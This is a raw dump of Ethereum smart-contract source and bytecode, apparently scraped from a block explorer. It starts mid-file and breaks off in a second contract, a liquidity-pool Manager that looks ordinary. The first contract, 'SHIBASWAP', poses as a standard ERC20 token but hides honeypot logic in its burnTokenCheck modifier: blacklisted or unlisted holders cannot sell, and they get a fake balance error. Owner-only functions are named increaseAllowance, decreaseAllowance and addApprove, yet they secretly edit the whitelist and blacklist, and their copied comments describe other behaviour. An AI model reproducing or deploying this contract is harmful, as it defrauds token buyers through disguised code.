reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract SHIBASWAP is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107cc565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107d5565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108d1945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109ea565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b0316610a05565b6101a5610a6f565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610ad0565b6104a6610ae4565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610af3565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b1e945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c0e565b8484610c12565b50600192915050565b60055490565b600061074c848484610cfe565b6107c284610758610c0e565b6107bd8560405180606001604052806028815260200161143b602891396001600160a01b038a16600090815260046020526040812090610796610c0e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6112d216565b610c12565b5060019392505050565b60085460ff1690565b600a546001600160a01b03163314610834576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600554610847908263ffffffff61136916565b600555600a546001600160a01b0316600090815260208190526040902054610875908263ffffffff61136916565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610919576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109e45761095583828151811061093457fe5b602002602001015183838151811061094857fe5b6020026020010151610ad0565b50838110156109dc57600180600085848151811061096f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109dc8382815181106109bd57fe5b6020908102919091010151600c546001600160a01b0316600019610c12565b60010161091c565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610add610c0e565b8484610cfe565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b66576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b8357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bd457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b69565b3390565b6001600160a01b038316610c575760405162461bcd60e51b81526004018080602001828103825260248152602001806114886024913960400191505060405180910390fd5b6001600160a01b038216610c9c5760405162461bcd60e51b81526004018080602001828103825260228152602001806113f36022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d315750600a546001600160a01b038481169116145b15610eb557600b80546001600160a01b0319166001600160a01b03848116919091179091558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b038516610dd85760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b610de38686866113ca565b610e2684604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e5b908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36112ca565b600a546001600160a01b0384811691161480610ede5750600b546001600160a01b038481169116145b80610ef65750600a546001600160a01b038381169116145b15610f7957600a546001600160a01b038481169116148015610f295750816001600160a01b0316836001600160a01b0316145b15610f345760038190555b6001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415610fe5576001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff1615156001141561106f57600b546001600160a01b03848116911614806110345750600c546001600160a01b038381169116145b610f345760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b60035481101561110357600b546001600160a01b0383811691161415610f34576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061112c5750600c546001600160a01b038381169116145b6111675760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b6001600160a01b0386166111ac5760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b0385166111f15760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b6111fc8686866113ca565b61123f84604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611274908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113615760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561132657818101518382015260200161130e565b50505050905090810190601f1680156113535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156113c3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208ebbdf5fbf28e5c83a8140386ed8638f2ad04ecb07fd351bc00b3899cd5d346064736f6c63430006060033
[ 38 ]
0xf31D02071c70b9a54748358B03999719676F2651
// SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "../interfaces/IManager.sol"; import "../interfaces/ILiquidityPool.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import {IERC20Upgradeable as IERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {SafeERC20Upgradeable as SafeERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import {EnumerableSetUpgradeable as EnumerableSet} from "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol"; import {SafeMathUpgradeable as SafeMath} from "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import {AccessControlUpgradeable as AccessControl} from "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "../interfaces/events/Destinations.sol"; import "../interfaces/events/CycleRolloverEvent.sol"; import "../interfaces/events/IEventSender.sol"; //solhint-disable not-rely-on-time //solhint-disable var-name-mixedcase contract Manager is IManager, Initializable, AccessControl, IEventSender { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; using EnumerableSet for EnumerableSet.Bytes32Set; bytes32 public immutable ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public immutable ROLLOVER_ROLE = keccak256("ROLLOVER_ROLE"); bytes32 public immutable MID_CYCLE_ROLE = keccak256("MID_CYCLE_ROLE"); bytes32 public immutable START_ROLLOVER_ROLE = keccak256("START_ROLLOVER_ROLE"); uint256 public currentCycle; // Start timestamp of current cycle uint256 public currentCycleIndex; // Uint representing current cycle uint256 public cycleDuration; // Cycle duration in seconds bool public rolloverStarted; // Bytes32 controller id => controller address mapping(bytes32 => address) public registeredControllers; // Cycle index => ipfs rewards hash mapping(uint256 => string) public override cycleRewardsHashes; EnumerableSet.AddressSet private pools; EnumerableSet.Bytes32Set private controllerIds; // Reentrancy Guard bool private _entered; bool public _eventSend; Destinations public destinations; uint256 public nextCycleStartTime; bool private isLogicContract; modifier onlyAdmin() { require(hasRole(ADMIN_ROLE, _msgSender()), "NOT_ADMIN_ROLE"); _; } modifier onlyRollover() { require(hasRole(ROLLOVER_ROLE, _msgSender()), "NOT_ROLLOVER_ROLE"); _; } modifier onlyMidCycle() { require(hasRole(MID_CYCLE_ROLE, _msgSender()), "NOT_MID_CYCLE_ROLE"); _; } modifier nonReentrant() { require(!_entered, "ReentrancyGuard: reentrant call"); _entered = true; _; _entered = false; } modifier onEventSend() { if (_eventSend) { _; } } modifier onlyStartRollover() { require(hasRole(START_ROLLOVER_ROLE, _msgSender()), "NOT_START_ROLLOVER_ROLE"); _; } constructor() public { isLogicContract = true; } function initialize(uint256 _cycleDuration, uint256 _nextCycleStartTime) public initializer { __Context_init_unchained(); __AccessControl_init_unchained(); cycleDuration = _cycleDuration; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(ADMIN_ROLE, _msgSender()); _setupRole(ROLLOVER_ROLE, _msgSender()); _setupRole(MID_CYCLE_ROLE, _msgSender()); _setupRole(START_ROLLOVER_ROLE, _msgSender()); setNextCycleStartTime(_nextCycleStartTime); } function registerController(bytes32 id, address controller) external override onlyAdmin { registeredControllers[id] = controller; require(controllerIds.add(id), "ADD_FAIL"); emit ControllerRegistered(id, controller); } function unRegisterController(bytes32 id) external override onlyAdmin { emit ControllerUnregistered(id, registeredControllers[id]); delete registeredControllers[id]; require(controllerIds.remove(id), "REMOVE_FAIL"); } function registerPool(address pool) external override onlyAdmin { require(pools.add(pool), "ADD_FAIL"); emit PoolRegistered(pool); } function unRegisterPool(address pool) external override onlyAdmin { require(pools.remove(pool), "REMOVE_FAIL"); emit PoolUnregistered(pool); } function setCycleDuration(uint256 duration) external override onlyAdmin { require(duration > 60, "CYCLE_TOO_SHORT"); cycleDuration = duration; emit CycleDurationSet(duration); } function setNextCycleStartTime(uint256 _nextCycleStartTime) public override onlyAdmin { // We are aware of the possibility of timestamp manipulation. It does not pose any // risk based on the design of our system require(_nextCycleStartTime > block.timestamp, "MUST_BE_FUTURE"); nextCycleStartTime = _nextCycleStartTime; emit NextCycleStartSet(_nextCycleStartTime); } function getPools() external view override returns (address[] memory) { uint256 poolsLength = pools.length(); address[] memory returnData = new address[](poolsLength); for (uint256 i = 0; i < poolsLength; i++) { returnData[i] = pools.at(i); } return returnData; } function getControllers() external view override returns (bytes32[] memory) { uint256 controllerIdsLength = controllerIds.length(); bytes32[] memory returnData = new bytes32[](controllerIdsLength); for (uint256 i = 0; i < controllerIdsLength; i++) { returnData[i] = controllerIds.at(i); } return returnData; } function completeRollover(string calldata rewardsIpfsHash) external override onlyRollover { // Can't be hit via test cases, going to leave in anyways in case we ever change code require(nextCycleStartTime > 0, "SET_BEFORE_ROLLOVER"); // We are aware of the possibility of timestamp manipulation. It does not pose any // risk based on the design of our system require(block.timestamp > nextCycleStartTime, "PREMATURE_EXECUTION"); _completeRollover(rewardsIpfsHash); } /// @notice Used for mid-cycle adjustments function executeMaintenance(MaintenanceExecution calldata params) external override onlyMidCycle nonReentrant { for (uint256 x = 0; x < params.cycleSteps.length; x++) { _executeControllerCommand(params.cycleSteps[x]); } } function executeRollover(RolloverExecution calldata params) external override onlyRollover nonReentrant { // We are aware of the possibility of timestamp manipulation. It does not pose any // risk based on the design of our system require(block.timestamp > nextCycleStartTime, "PREMATURE_EXECUTION"); // Transfer deployable liquidity out of the pools and into the manager for (uint256 i = 0; i < params.poolData.length; i++) { require(pools.contains(params.poolData[i].pool), "INVALID_POOL"); ILiquidityPool pool = ILiquidityPool(params.poolData[i].pool); IERC20 underlyingToken = pool.underlyer(); underlyingToken.safeTransferFrom( address(pool), address(this), params.poolData[i].amount ); emit LiquidityMovedToManager(params.poolData[i].pool, params.poolData[i].amount); } // Deploy or withdraw liquidity for (uint256 x = 0; x < params.cycleSteps.length; x++) { _executeControllerCommand(params.cycleSteps[x]); } // Transfer recovered liquidity back into the pools; leave no funds in the manager for (uint256 y = 0; y < params.poolsForWithdraw.length; y++) { require(pools.contains(params.poolsForWithdraw[y]), "INVALID_POOL"); ILiquidityPool pool = ILiquidityPool(params.poolsForWithdraw[y]); IERC20 underlyingToken = pool.underlyer(); uint256 managerBalance = underlyingToken.balanceOf(address(this)); // transfer funds back to the pool if there are funds if (managerBalance > 0) { underlyingToken.safeTransfer(address(pool), managerBalance); } emit LiquidityMovedToPool(params.poolsForWithdraw[y], managerBalance); } if (params.complete) { _completeRollover(params.rewardsIpfsHash); } } function sweep(address[] calldata poolAddresses) external override onlyRollover { uint256 length = poolAddresses.length; uint256[] memory amounts = new uint256[](length); for (uint256 i = 0; i < length; i++) { address currentPoolAddress = poolAddresses[i]; require(pools.contains(currentPoolAddress), "INVALID_ADDRESS"); IERC20 underlyer = IERC20(ILiquidityPool(currentPoolAddress).underlyer()); uint256 amount = underlyer.balanceOf(address(this)); amounts[i] = amount; if (amount > 0) { underlyer.safeTransfer(currentPoolAddress, amount); } } emit ManagerSwept(poolAddresses, amounts); } function _executeControllerCommand(ControllerTransferData calldata transfer) private { require(!isLogicContract, "FORBIDDEN_CALL"); address controllerAddress = registeredControllers[transfer.controllerId]; require(controllerAddress != address(0), "INVALID_CONTROLLER"); controllerAddress.functionDelegateCall(transfer.data, "CYCLE_STEP_EXECUTE_FAILED"); emit DeploymentStepExecuted(transfer.controllerId, controllerAddress, transfer.data); } function startCycleRollover() external override onlyStartRollover { // We are aware of the possibility of timestamp manipulation. It does not pose any // risk based on the design of our system require(block.timestamp > nextCycleStartTime, "PREMATURE_EXECUTION"); rolloverStarted = true; bytes32 eventSig = "Cycle Rollover Start"; encodeAndSendData(eventSig); emit CycleRolloverStarted(block.timestamp); } function _completeRollover(string calldata rewardsIpfsHash) private { currentCycle = nextCycleStartTime; nextCycleStartTime = nextCycleStartTime.add(cycleDuration); cycleRewardsHashes[currentCycleIndex] = rewardsIpfsHash; currentCycleIndex = currentCycleIndex.add(1); rolloverStarted = false; bytes32 